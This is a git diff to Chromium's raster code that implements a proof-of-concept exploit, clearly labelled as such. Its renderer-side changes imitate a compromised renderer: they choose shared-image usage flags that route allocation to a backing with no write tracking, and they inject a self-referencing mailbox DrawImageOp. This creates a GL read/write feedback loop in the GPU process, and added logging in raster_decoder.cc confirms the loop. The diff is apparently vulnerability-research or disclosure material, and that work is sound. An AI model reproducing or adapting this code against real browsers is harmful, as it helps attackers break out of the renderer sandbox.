diff --git a/cc/raster/gpu_raster_buffer_provider.cc b/cc/raster/gpu_raster_buffer_provider.cc index 61475023091f2..ce8a25f587e53 100644 --- a/cc/raster/gpu_raster_buffer_provider.cc +++ b/cc/raster/gpu_raster_buffer_provider.cc @@ -20,8 +20,11 @@ #include "build/build_config.h" #include "cc/base/features.h" #include "cc/base/histograms.h" +#include "cc/paint/decoded_draw_image.h" #include "cc/paint/display_item_list.h" +#include "cc/paint/image_provider.h" #include "cc/paint/paint_canvas.h" +#include "cc/paint/paint_image_builder.h" #include "cc/paint/paint_recorder.h" #include "cc/raster/raster_source.h" #include "components/viz/client/client_resource_provider.h" @@ -34,6 +37,8 @@ #include "gpu/command_buffer/common/shared_image_trace_utils.h" #include "gpu/command_buffer/common/shared_image_usage.h" #include "skia/ext/legacy_display_globals.h" +#include "third_party/skia/include/core/SkBitmap.h" +#include "third_party/skia/include/core/SkImage.h" #include "third_party/skia/include/core/SkPictureRecorder.h" #include "third_party/skia/include/core/SkSurface.h" #include "ui/base/ui_base_features.h" @@ -277,13 +282,14 @@ void GpuRasterBufferProvider::RasterBufferImpl::RasterizeSource( // This SharedImage will serve as the destination of the raster defined by // `raster_source` before being sent off to the display compositor. - gpu::SharedImageUsageSet flags = gpu::SHARED_IMAGE_USAGE_DISPLAY_READ | + // ==================================================================== + // POC: A compromised renderer chooses RASTER_READ | RASTER_WRITE only, + // which routes shared-image creation in the GPU process to + // WrappedSkImageBackingFactory (which has no backing-level write + // tracking) on every platform. Renderer fully controls these usage bits. + // ==================================================================== + gpu::SharedImageUsageSet flags = gpu::SHARED_IMAGE_USAGE_RASTER_READ | gpu::SHARED_IMAGE_USAGE_RASTER_WRITE; - if (client_->tile_overlay_candidate_) { - flags |= gpu::SHARED_IMAGE_USAGE_SCANOUT; - } else if (client_->is_using_raw_draw_) { - flags |= gpu::SHARED_IMAGE_USAGE_RAW_DRAW; - } backing_->CreateSharedImage(sii, flags, "GpuRasterTile"); mailbox_needs_clear = true; ri_access = backing_->shared_image()->BeginRasterAccess( @@ -314,6 +320,70 @@ void GpuRasterBufferProvider::RasterBufferImpl::RasterizeSource( playback_settings.visible, backing_->color_space(), playback_settings.hdr_headroom, backing_->shared_image()->mailbox().name); + // ====================================================================== + // POC: Compromised-renderer injection. + // BeginRasterCHROMIUM has just opened mailbox_X for write in the GPU + // process. We now serialize a DrawImageOp into the raster transfer + // buffer whose PaintImage is SerializedImageType::kMailbox referencing + // the *same* mailbox_X. The GPU-side SharedImageProviderImpl in + // raster_decoder.cc does not compare the read mailbox against the active + // write mailbox, so OpenSharedImageForRead succeeds and Skia samples + // from the same GL texture it is rendering into (GL §8.14.2.1 feedback + // loop). All bytes below are renderer-controlled shared memory. + // ====================================================================== + { + const gpu::Mailbox dst_mailbox = backing_->shared_image()->mailbox(); + LOG(ERROR) << "POC[renderer]: injecting self-referencing kMailbox " + "DrawImageOp, output mailbox = " + << dst_mailbox.ToDebugString(); + + // ImageProvider that returns the *output* mailbox for any image. This + // makes PaintOpWriter::WriteImage() emit SerializedImageType::kMailbox + // followed by the output-mailbox bytes — exactly what a compromised + // renderer would write into the raster shm. + class SelfMailboxProvider final : public ImageProvider { + public: + explicit SelfMailboxProvider(const gpu::Mailbox& mb) : mb_(mb) {} + ScopedResult GetRasterContent(const DrawImage&) override { + return ScopedResult( + DecodedDrawImage(mb_, PaintFlags::FilterQuality::kNone)); + } + + private: + gpu::Mailbox mb_; + }; + SelfMailboxProvider self_provider(dst_mailbox); + + // Dummy PaintImage just so DrawImageOp has a valid image; the provider + // overrides what is actually serialized. + SkBitmap bm; + bm.allocN32Pixels(64, 64); + auto sk_img = SkImages::RasterFromBitmap(bm); + auto paint_image = PaintImageBuilder::WithDefault() + .set_id(PaintImage::GetNextId()) + .set_image(sk_img, PaintImage::GetNextContentId()) + .TakePaintImage(); + + auto poc_list = base::MakeRefCounted(); + poc_list->StartPaint(); + poc_list->push(paint_image, 0.f, 0.f); + poc_list->EndPaintOfUnpaired(gfx::Rect(64, 64)); + poc_list->Finalize(); + + size_t poc_hint = gpu::raster::RasterInterface::kDefaultMaxOpSizeHint; + ri->RasterCHROMIUM(poc_list.get(), &self_provider, + gfx::Size(64, 64), // content_size + gfx::Rect(64, 64), // full_raster_rect + gfx::Rect(64, 64), // playback_rect + gfx::Vector2dF(), // post_translate + gfx::Vector2dF(1.f, 1.f),// post_scale + /*requires_clear=*/false, + /*raster_inducing_scroll_offsets=*/nullptr, &poc_hint); + LOG(ERROR) << "POC[renderer]: GL error after self-texturing = " + << ri->GetError(); + } + // ====================================================================== + gfx::Vector2dF recording_to_raster_scale = transform.scale(); recording_to_raster_scale.InvScale(raster_source->recording_scale_factor()); gfx::Size content_size = raster_source->GetContentSize(transform.scale()); diff --git a/gpu/command_buffer/service/raster_decoder.cc b/gpu/command_buffer/service/raster_decoder.cc index 3702be9ab3dc6..57a508ef6daf6 100644 --- a/gpu/command_buffer/service/raster_decoder.cc +++ b/gpu/command_buffer/service/raster_decoder.cc @@ -88,7 +88,10 @@ #include "third_party/skia/include/gpu/ganesh/GrDirectContext.h" #include "third_party/skia/include/gpu/ganesh/GrTypes.h" #include "third_party/skia/include/gpu/ganesh/GrYUVABackendTextures.h" +#include "third_party/skia/include/gpu/ganesh/SkImageGanesh.h" #include "third_party/skia/include/gpu/ganesh/SkSurfaceGanesh.h" +#include "third_party/skia/include/gpu/ganesh/gl/GrGLBackendSurface.h" +#include "third_party/skia/include/gpu/ganesh/gl/GrGLTypes.h" #include "third_party/skia/include/gpu/graphite/Context.h" #include "third_party/skia/include/private/chromium/GrPromiseImageTexture.h" #include "third_party/skia/include/utils/SkNoDrawCanvas.h" @@ -273,6 +276,40 @@ class SharedImageProviderImpl final : public cc::SharedImageProvider { return nullptr; } + // ==================================================================== + // POC instrumentation (observation only — no behavioral change). + // If the renderer-supplied read mailbox resolves to the *same* GL + // texture that output_surface_ is currently writing into, we have a + // GL §8.14.2.1 feedback loop. This block only logs; it never rejects. + // ==================================================================== + { + GrBackendTexture in_tex, out_tex; + GrGLTextureInfo in_info{}, out_info{}; + bool got_in = + SkImages::GetBackendTextureFromImage(sk_image, &in_tex, false) && + GrBackendTextures::GetGLTextureInfo(in_tex, &in_info); + out_tex = SkSurfaces::GetBackendTexture( + output_surface_, SkSurfaces::BackendHandleAccess::kFlushRead); + bool got_out = GrBackendTextures::GetGLTextureInfo(out_tex, &out_info); + LOG(ERROR) << "POC[gpu]: OpenSharedImageForRead succeeded for mailbox " + << mailbox.ToDebugString() << " (read GL tex=" << in_info.fID + << " got=" << got_in << ", write GL tex=" << out_info.fID + << " got=" << got_out << ")"; + if (got_in && got_out && in_info.fID == out_info.fID) { + LOG(ERROR) + << "POC[gpu]: ==== FEEDBACK LOOP CONFIRMED ==== GPU process has " + "opened mailbox " + << mailbox.ToDebugString() + << " for READ via a fresh representation while the SAME GL " + "texture (id=" + << in_info.fID + << ") is the active BeginRasterCHROMIUM render target. " + "DrawImageOp::Raster will now sample from and render into " + "the same texture."; + } + } + // ==================================================================== + read_accessors_[mailbox] = {std::move(shared_image_skia), std::move(scoped_read_access), sk_image}; return sk_image; @@ -2899,6 +2936,11 @@ void RasterDecoderImpl::DoBeginRasterCHROMIUM(GLfloat r, raster_canvas_ = sk_surface_->getCanvas(); } + // POC instrumentation (observation only). + LOG(ERROR) << "POC[gpu]: BeginRasterCHROMIUM opened mailbox " + << mailbox.ToDebugString() + << " for WRITE; backing=" << shared_image_->backing_name(); + paint_op_shared_image_provider_ = std::make_unique( &shared_image_representation_factory_, shared_context_state_, sk_surface_, &end_semaphores_, error_state_.get());